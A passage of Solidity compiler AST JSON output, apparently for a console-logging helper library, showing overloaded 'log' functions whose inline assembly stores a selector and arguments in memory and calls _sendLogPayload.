2","nodeType":"YulIdentifier","src":"53890:6:22"},"nativeSrc":"53890:16:22","nodeType":"YulFunctionCall","src":"53890:16:22"},"nativeSrc":"53890:16:22","nodeType":"YulExpressionStatement","src":"53890:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53926:4:22","nodeType":"YulLiteral","src":"53926:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"53932:2:22","nodeType":"YulIdentifier","src":"53932:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53919:6:22","nodeType":"YulIdentifier","src":"53919:6:22"},"nativeSrc":"53919:16:22","nodeType":"YulFunctionCall","src":"53919:16:22"},"nativeSrc":"53919:16:22","nodeType":"YulExpressionStatement","src":"53919:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53955:4:22","nodeType":"YulLiteral","src":"53955:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"53961:2:22","nodeType":"YulIdentifier","src":"53961:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53948:6:22","nodeType":"YulIdentifier","src":"53948:6:22"},"nativeSrc":"53948:16:22","nodeType":"YulFunctionCall","src":"53948:16:22"},"nativeSrc":"53948:16:22","nodeType":"YulExpressionStatement","src":"53948:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53984:4:22","nodeType":"YulLiteral","src":"53984:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"53990:2:22","nodeType":"YulIdentifier","src":"53990:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53977:6:22","nodeType":"YulIdentifier","src":"53977:6:22"},"nativeSrc":"53977:16:22","nodeType":"YulFunctionCall","src":"53977:16:22"},"nativeSrc":"53977:16:22","nodeType":"YulExpressionStatement","src":"53977:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35445,"isOffset":false,"isSlot":false,"src":"53845:2:22","valueSize":1},{"declaration":35448,"isOffset":false,"isSlot":false,"src":"53874:2:22","valueSize":1},{"declaration":35451,"isOffset":false,"isSlot":false,"src":"53903:2:22","valueSize":1},{"declaration":35454,"isOffset":false,"isSlot":false,"src":"53932:2:22","valueSize":1},{"declaration":35457,"isOffset":false,"isSlot":false,"src":"53961:2:22","valueSize":1},{"declaration":35460,"isOffset":false,"isSlot":false,"src":"53990:2:22","valueSize":1}],"id":35468,"nodeType":"InlineAssembly","src":"53809:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52812:3:22","parameters":{"id":35442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35437,"mutability":"mutable","name":"p0","nameLocation":"52824:2:22","nodeType":"VariableDeclaration","scope":35470,"src":"52816:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35436,"name":"uint256","nodeType":"ElementaryTypeName","src":"52816:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35439,"mutability":"mutable","name":"p1","nameLocation":"52833:2:22","nodeType":"VariableDeclaration","scope":35470,"src":"52828:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35438,"name":"bool","nodeType":"ElementaryTypeName","src":"52828:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35441,"mutability":"mutable","name":"p2","nameLocation":"52845:2:22","nodeType":"VariableDeclaration","scope":35470,"src":"52837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35440,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52837:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"52815:33:22"},"returnParameters":{"id":35443,"nodeType":"ParameterList","parameters":[],"src":"52863:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35499,"nodeType":"FunctionDefinition","src":"54015:664:22","nodes":[],"body":{"id":35498,"nodeType":"Block","src":"54078:601:22","nodes":[],"statements":[{"assignments":[35480],"declarations":[{"constant":false,"id":35480,"mutability":"mutable","name":"m0","nameLocation":"54096:2:22","nodeType":"VariableDeclaration","scope":35498,"src":"54088:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35479,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54088:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35481,"nodeType":"VariableDeclarationStatement","src":"54088:10:22"},{"assignments":[35483],"declarations":[{"constant":false,"id":35483,"mutability":"mutable","name":"m1","nameLocation":"54116:2:22","nodeType":"VariableDeclaration","scope":35498,"src":"54108:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35482,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54108:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35484,"nodeType":"VariableDeclarationStatement","src":"54108:10:22"},{"assignments":[35486],"declarations":[{"constant":false,"id":35486,"mutability":"mutable","name":"m2","nameLocation":"54136:2:22","nodeType":"VariableDeclaration","scope":35498,"src":"54128:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35485,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54128:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35487,"nodeType":"VariableDeclarationStatement","src":"54128:10:22"},{"assignments":[35489],"declarations":[{"constant":false,"id":35489,"mutability":"mutable","name":"m3","nameLocation":"54156:2:22","nodeType":"VariableDeclaration","scope":35498,"src":"54148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35488,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35490,"nodeType":"VariableDeclarationStatement","src":"54148:10:22"},{"AST":{"nativeSrc":"54177:314:22","nodeType":"YulBlock","src":"54177:314:22","statements":[{"nativeSrc":"54191:17:22","nodeType":"YulAssignment","src":"54191:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54203:4:22","nodeType":"YulLiteral","src":"54203:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"54197:5:22","nodeType":"YulIdentifier","src":"54197:5:22"},"nativeSrc":"54197:11:22","nodeType":"YulFunctionCall","src":"54197:11:22"},"variableNames":[{"name":"m0","nativeSrc":"54191:2:22","nodeType":"YulIdentifier","src":"54191:2:22"}]},{"nativeSrc":"54221:17:22","nodeType":"YulAssignment","src":"54221:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54233:4:22","nodeType":"YulLiteral","src":"54233:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"54227:5:22","nodeType":"YulIdentifier","src":"54227:5:22"},"nativeSrc":"54227:11:22","nodeType":"YulFunctionCall","src":"54227:11:22"},"variableNames":[{"name":"m1","nativeSrc":"54221:2:22","nodeType":"YulIdentifier","src":"54221:2:22"}]},{"nativeSrc":"54251:17:22","nodeType":"YulAssignment","src":"54251:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54263:4:22","nodeType":"YulLiteral","src":"54263:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"54257:5:22","nodeType":"YulIdentifier","src":"54257:5:22"},"nativeSrc":"54257:11:22","nodeType":"YulFunctionCall","src":"54257:11:22"},"variableNames":[{"name":"m2","nativeSrc":"54251:2:22","nodeType":"YulIdentifier","src":"54251:2:22"}]},{"nativeSrc":"54281:17:22","nodeType":"YulAssignment","src":"54281:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54293:4:22","nodeType":"YulLiteral","src":"54293:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"54287:5:22","nodeType":"YulIdentifier","src":"54287:5:22"},"nativeSrc":"54287:11:22","nodeType":"YulFunctionCall","src":"54287:11:22"},"variableNames":[{"name":"m3","nativeSrc":"54281:2:22","nodeType":"YulIdentifier","src":"54281:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54377:4:22","nodeType":"YulLiteral","src":"54377:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"54383:10:22","nodeType":"YulLiteral","src":"54383:10:22","type":"","value":"0x5c96b331"}],"functionName":{"name":"mstore","nativeSrc":"54370:6:22","nodeType":"YulIdentifier","src":"54370:6:22"},"nativeSrc":"54370:24:22","nodeType":"YulFunctionCall","src":"54370:24:22"},"nativeSrc":"54370:24:22","nodeType":"YulExpressionStatement","src":"54370:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54414:4:22","nodeType":"YulLiteral","src":"54414:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"54420:2:22","nodeType":"YulIdentifier","src":"54420:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54407:6:22","nodeType":"YulIdentifier","src":"54407:6:22"},"nativeSrc":"54407:16:22","nodeType":"YulFunctionCall","src":"54407:16:22"},"nativeSrc":"54407:16:22","nodeType":"YulExpressionStatement","src":"54407:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54443:4:22","nodeType":"YulLiteral","src":"54443:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"54449:2:22","nodeType":"YulIdentifier","src":"54449:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54436:6:22","nodeType":"YulIdentifier","src":"54436:6:22"},"nativeSrc":"54436:16:22","nodeType":"YulFunctionCall","src":"54436:16:22"},"nativeSrc":"54436:16:22","nodeType":"YulExpressionStatement","src":"54436:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54472:4:22","nodeType":"YulLiteral","src":"54472:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"54478:2:22","nodeType":"YulIdentifier","src":"54478:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54465:6:22","nodeType":"YulIdentifier","src":"54465:6:22"},"nativeSrc":"54465:16:22","nodeType":"YulFunctionCall","src":"54465:16:22"},"nativeSrc":"54465:16:22","nodeType":"YulExpressionStatement","src":"54465:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35480,"isOffset":false,"isSlot":false,"src":"54191:2:22","valueSize":1},{"declaration":35483,"isOffset":false,"isSlot":false,"src":"54221:2:22","valueSize":1},{"declaration":35486,"isOffset":false,"isSlot":false,"src":"54251:2:22","valueSize":1},{"declaration":35489,"isOffset":false,"isSlot":false,"src":"54281:2:22","valueSize":1},{"declaration":35472,"isOffset":false,"isSlot":false,"src":"54420:2:22","valueSize":1},{"declaration":35474,"isOffset":false,"isSlot":false,"src":"54449:2:22","valueSize":1},{"declaration":35476,"isOffset":false,"isSlot":false,"src":"54478:2:22","valueSize":1}],"id":35491,"nodeType":"InlineAssembly","src":"54168:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"54516:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35494,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"54522:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35492,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"54500:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35495,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54500:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35496,"nodeType":"ExpressionStatement","src":"54500:27:22"},{"AST":{"nativeSrc":"54546:127:22","nodeType":"YulBlock","src":"54546:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"54567:4:22","nodeType":"YulLiteral","src":"54567:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"54573:2:22","nodeType":"YulIdentifier","src":"54573:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54560:6:22","nodeType":"YulIdentifier","src":"54560:6:22"},"nativeSrc":"54560:16:22","nodeType":"YulFunctionCall","src":"54560:16:22"},"nativeSrc":"54560:16:22","nodeType":"YulExpressionStatement","src":"54560:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54596:4:22","nodeType":"YulLiteral","src":"54596:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"54602:2:22","nodeType":"YulIdentifier","src":"54602:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54589:6:22","nodeType":"YulIdentifier","src":"54589:6:22"},"nativeSrc":"54589:16:22","nodeType":"YulFunctionCall","src":"54589:16:22"},"nativeSrc":"54589:16:22","nodeType":"YulExpressionStatement","src":"54589:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54625:4:22","nodeType":"YulLiteral","src":"54625:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"54631:2:22","nodeType":"YulIdentifier","src":"54631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54618:6:22","nodeType":"YulIdentifier","src":"54618:6:22"},"nativeSrc":"54618:16:22","nodeType":"YulFunctionCall","src":"54618:16:22"},"nativeSrc":"54618:16:22","nodeType":"YulExpressionStatement","src":"54618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"54654:4:22","nodeType":"YulLiteral","src":"54654:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"54660:2:22","nodeType":"YulIdentifier","src":"54660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"54647:6:22","nodeType":"YulIdentifier","src":"54647:6:22"},"nativeSrc":"54647:16:22","nodeType":"YulFunctionCall","src":"54647:16:22"},"nativeSrc":"54647:16:22","nodeType":"YulExpressionStatement","src":"54647:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35480,"isOffset":false,"isSlot":false,"src":"54573:2:22","valueSize":1},{"declaration":35483,"isOffset":false,"isSlot":false,"src":"54602:2:22","valueSize":1},{"declaration":35486,"isOffset":false,"isSlot":false,"src":"54631:2:22","valueSize":1},{"declaration":35489,"isOffset":false,"isSlot":false,"src":"54660:2:22","valueSize":1}],"id":35497,"nodeType":"InlineAssembly","src":"54537:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54024:3:22","parameters":{"id":35477,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35472,"mutability":"mutable","name":"p0","nameLocation":"54036:2:22","nodeType":"VariableDeclaration","scope":35499,"src":"54028:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35471,"name":"uint256","nodeType":"ElementaryTypeName","src":"54028:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35474,"mutability":"mutable","name":"p1","nameLocation":"54048:2:22","nodeType":"VariableDeclaration","scope":35499,"src":"54040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35473,"name":"uint256","nodeType":"ElementaryTypeName","src":"54040:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35476,"mutability":"mutable","name":"p2","nameLocation":"54060:2:22","nodeType":"VariableDeclaration","scope":35499,"src":"54052:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35475,"name":"address","nodeType":"ElementaryTypeName","src":"54052:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"54027:36:22"},"returnParameters":{"id":35478,"nodeType":"ParameterList","parameters":[],"src":"54078:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35528,"nodeType":"FunctionDefinition","src":"54685:658:22","nodes":[],"body":{"id":35527,"nodeType":"Block","src":"54745:598:22","nodes":[],"statements":[{"assignments":[35509],"declarations":[{"constant":false,"id":35509,"mutability":"mutable","name":"m0","nameLocation":"54763:2:22","nodeType":"VariableDeclaration","scope":35527,"src":"54755:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35508,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54755:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35510,"nodeType":"VariableDeclarationStatement","src":"54755:10:22"},{"assignments":[35512],"declarations":[{"constant":false,"id":35512,"mutability":"mutable","name":"m1","nameLocation":"54783:2:22","nodeType":"VariableDeclaration","scope":35527,"src":"54775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54775:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35513,"nodeType":"VariableDeclarationStatement","src":"54775:10:22"},{"assignments":[35515],"declarations":[{"constant":false,"id":35515,"mutability":"mutable","name":"m2","nameLocation":"54803:2:22","nodeType":"VariableDeclaration","scope":35527,"src":"54795:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35514,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54795:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35516,"nodeType":"VariableDeclarationStatement","src":"54795:10:22"},{"assignments":[35518],"declarations":[{"constant":false,"id":35518,"mutability":"mutable","name":"m3","nameLocation":"54823:2:22","nodeType":"VariableDeclaration","scope":35527,"src":"54815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35517,"name":"bytes32","nodeType":"ElementaryTypeName","src":"54815:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35519,"nodeType":"VariableDeclarationStatement","src":"54815:10:22"},{"AST":{"nativeSrc":"54844:311:22","nodeType":"YulBlock","src":"54844:311:22","statements":[{"nativeSrc":"54858:17:22","nodeType":"YulAssignment","src":"54858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54870:4:22","nodeType":"YulLiteral","src":"54870:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"54864:5:22","nodeType":"YulIdentifier","src":"54864:5:22"},"nativeSrc":"54864:11:22","nodeType":"YulFunctionCall","src":"54864:11:22"},"variableNames":[{"name":"m0","nativeSrc":"54858:2:22","nodeType":"YulIdentifier","src":"54858:2:22"}]},{"nativeSrc":"54888:17:22","nodeType":"YulAssignment","src":"54888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54900:4:22","nodeType":"YulLiteral","src":"54900:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"54894:5:22","nodeType":"YulIdentifier","src":"54894:5:22"},"nativeSrc":"54894:11:22","nodeType":"YulFunctionCall","src":"54894:11:22"},"variableNames":[{"name":"m1","nativeSrc":"54888:2:22","nodeType":"YulIdentifier","src":"54888:2:22"}]},{"nativeSrc":"54918:17:22","nodeType":"YulAssignment","src":"54918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54930:4:22","nodeType":"YulLiteral","src":"54930:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"54924:5:22","nodeType":"YulIdentifier","src":"54924:5:22"},"nativeSrc":"54924:11:22","nodeType":"YulFunctionCall","src":"54924:11:22"},"variableNames":[{"name":"m2","nativeSrc":"54918:2:22","nodeType":"YulIdentifier","src":"54918:2:22"}]},{"nativeSrc":"54948:17:22","nodeType":"YulAssignment","src":"54948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"54960:4:22","nodeType":"YulLiteral","src":"54960:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"54954:5:22","nodeType":"YulIdentifier","src":"54954:5:22"},"nativeSrc":"54954:11:22","nodeType":"YulFunctionCall","src":"54954:11:22"},"variableNames":[{"name":"m3","nativeSrc":"54948:2:22","nodeType":"YulIdentifier","src":"54948:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55041:4:22","nodeType":"YulLiteral","src":"55041:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"55047:10:22","nodeType":"YulLiteral","src":"55047:10:22","type":"","value":"0x4766da72"}],"functionName":{"name":"mstore","nativeSrc":"55034:6:22","nodeType":"YulIdentifier","src":"55034:6:22"},"nativeSrc":"55034:24:22","nodeType":"YulFunctionCall","src":"55034:24:22"},"nativeSrc":"55034:24:22","nodeType":"YulExpressionStatement","src":"55034:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55078:4:22","nodeType":"YulLiteral","src":"55078:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"55084:2:22","nodeType":"YulIdentifier","src":"55084:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55071:6:22","nodeType":"YulIdentifier","src":"55071:6:22"},"nativeSrc":"55071:16:22","nodeType":"YulFunctionCall","src":"55071:16:22"},"nativeSrc":"55071:16:22","nodeType":"YulExpressionStatement","src":"55071:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55107:4:22","nodeType":"YulLiteral","src":"55107:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"55113:2:22","nodeType":"YulIdentifier","src":"55113:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55100:6:22","nodeType":"YulIdentifier","src":"55100:6:22"},"nativeSrc":"55100:16:22","nodeType":"YulFunctionCall","src":"55100:16:22"},"nativeSrc":"55100:16:22","nodeType":"YulExpressionStatement","src":"55100:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55136:4:22","nodeType":"YulLiteral","src":"55136:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"55142:2:22","nodeType":"YulIdentifier","src":"55142:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55129:6:22","nodeType":"YulIdentifier","src":"55129:6:22"},"nativeSrc":"55129:16:22","nodeType":"YulFunctionCall","src":"55129:16:22"},"nativeSrc":"55129:16:22","nodeType":"YulExpressionStatement","src":"55129:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35509,"isOffset":false,"isSlot":false,"src":"54858:2:22","valueSize":1},{"declaration":35512,"isOffset":false,"isSlot":false,"src":"54888:2:22","valueSize":1},{"declaration":35515,"isOffset":false,"isSlot":false,"src":"54918:2:22","valueSize":1},{"declaration":35518,"isOffset":false,"isSlot":false,"src":"54948:2:22","valueSize":1},{"declaration":35501,"isOffset":false,"isSlot":false,"src":"55084:2:22","valueSize":1},{"declaration":35503,"isOffset":false,"isSlot":false,"src":"55113:2:22","valueSize":1},{"declaration":35505,"isOffset":false,"isSlot":false,"src":"55142:2:22","valueSize":1}],"id":35520,"nodeType":"InlineAssembly","src":"54835:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35522,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"55180:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35523,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"55186:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35521,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"55164:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55164:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35525,"nodeType":"ExpressionStatement","src":"55164:27:22"},{"AST":{"nativeSrc":"55210:127:22","nodeType":"YulBlock","src":"55210:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"55231:4:22","nodeType":"YulLiteral","src":"55231:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"55237:2:22","nodeType":"YulIdentifier","src":"55237:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55224:6:22","nodeType":"YulIdentifier","src":"55224:6:22"},"nativeSrc":"55224:16:22","nodeType":"YulFunctionCall","src":"55224:16:22"},"nativeSrc":"55224:16:22","nodeType":"YulExpressionStatement","src":"55224:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55260:4:22","nodeType":"YulLiteral","src":"55260:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"55266:2:22","nodeType":"YulIdentifier","src":"55266:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55253:6:22","nodeType":"YulIdentifier","src":"55253:6:22"},"nativeSrc":"55253:16:22","nodeType":"YulFunctionCall","src":"55253:16:22"},"nativeSrc":"55253:16:22","nodeType":"YulExpressionStatement","src":"55253:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55289:4:22","nodeType":"YulLiteral","src":"55289:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"55295:2:22","nodeType":"YulIdentifier","src":"55295:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55282:6:22","nodeType":"YulIdentifier","src":"55282:6:22"},"nativeSrc":"55282:16:22","nodeType":"YulFunctionCall","src":"55282:16:22"},"nativeSrc":"55282:16:22","nodeType":"YulExpressionStatement","src":"55282:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55318:4:22","nodeType":"YulLiteral","src":"55318:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"55324:2:22","nodeType":"YulIdentifier","src":"55324:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55311:6:22","nodeType":"YulIdentifier","src":"55311:6:22"},"nativeSrc":"55311:16:22","nodeType":"YulFunctionCall","src":"55311:16:22"},"nativeSrc":"55311:16:22","nodeType":"YulExpressionStatement","src":"55311:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35509,"isOffset":false,"isSlot":false,"src":"55237:2:22","valueSize":1},{"declaration":35512,"isOffset":false,"isSlot":false,"src":"55266:2:22","valueSize":1},{"declaration":35515,"isOffset":false,"isSlot":false,"src":"55295:2:22","valueSize":1},{"declaration":35518,"isOffset":false,"isSlot":false,"src":"55324:2:22","valueSize":1}],"id":35526,"nodeType":"InlineAssembly","src":"55201:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54694:3:22","parameters":{"id":35506,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35501,"mutability":"mutable","name":"p0","nameLocation":"54706:2:22","nodeType":"VariableDeclaration","scope":35528,"src":"54698:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35500,"name":"uint256","nodeType":"ElementaryTypeName","src":"54698:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35503,"mutability":"mutable","name":"p1","nameLocation":"54718:2:22","nodeType":"VariableDeclaration","scope":35528,"src":"54710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35502,"name":"uint256","nodeType":"ElementaryTypeName","src":"54710:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35505,"mutability":"mutable","name":"p2","nameLocation":"54727:2:22","nodeType":"VariableDeclaration","scope":35528,"src":"54722:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35504,"name":"bool","nodeType":"ElementaryTypeName","src":"54722:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"54697:33:22"},"returnParameters":{"id":35507,"nodeType":"ParameterList","parameters":[],"src":"54745:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35557,"nodeType":"FunctionDefinition","src":"55349:664:22","nodes":[],